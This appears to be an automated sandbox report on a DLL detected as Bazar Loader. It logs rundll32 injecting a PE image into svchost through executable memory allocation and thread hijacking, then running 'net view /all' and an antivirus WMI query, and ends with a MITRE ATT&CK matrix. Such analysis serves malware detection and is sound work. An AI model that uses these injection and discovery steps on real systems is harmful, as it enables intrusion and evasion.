Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C18	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C20	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C78	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C88	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716C98	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CA8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CB8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CC8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CD8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CE8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716CF8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D08	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D18	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D28	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D38	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D48	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D58	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D68	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D78	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D88	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716D98	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DA8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DB8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DC8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DD8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DE8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716DF8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E08	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E18	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E28	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E38	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E48	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E58	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E68	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E78	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E88	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716E98	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716EA8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716EB8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716EC8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716ED8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716EE8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716EF8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F08	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F18	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F28	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F38	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F48	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F58	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F68	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F78	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F88	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716F98	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FA8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FB8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FC8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FD8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FE8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D716FF8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717008	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717018	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717028	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717038	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717048	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717058	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717068	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717078	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717088	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717098	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7170F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717108	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717118	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717128	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717138	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717148	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717158	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717168	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717178	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717188	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717198	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7171F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717208	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717218	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717228	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717238	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717248	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717258	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717268	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717278	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717288	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717298	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7172F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717308	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717318	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717328	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717338	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717348	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717358	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717368	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717378	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717388	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717398	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7173F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717408	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717418	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717428	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717438	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717448	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717458	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717468	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717478	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717488	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717498	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7174F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717508	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717518	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717528	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717538	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717548	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717558	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717568	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717578	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717588	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717598	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7175F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717608	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717618	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717628	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717638	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717648	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717658	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717668	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717678	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717688	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717698	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7176F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717708	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717718	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717728	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717738	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717748	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717758	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717768	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717778	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717788	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717798	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7177F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717808	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717818	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717828	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717838	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717848	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717858	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717868	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717878	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717888	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717898	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178E8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7178F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717908	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717918	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717928	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717938	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717948	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717958	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717968	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D717978	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D6E0000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 5684	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 3148	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 5336

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D6F2F90 cpuid

24_2_00007FF70D6F2F90

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D70453C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

24_2_00007FF70D70453C

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D6F6250 GetProcAddress,GetTimeZoneInformation,

24_2_00007FF70D6F6250

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information:

Detected Bazar Loader

Show sources

Source: Initial file

Signature Results: Bazar Loader specific behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	DLL Side-Loading1	Process Injection611	Masquerading1	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading1	Virtualization/Sandbox Evasion131	LSASS Memory	Security Software Discovery14	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer4	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
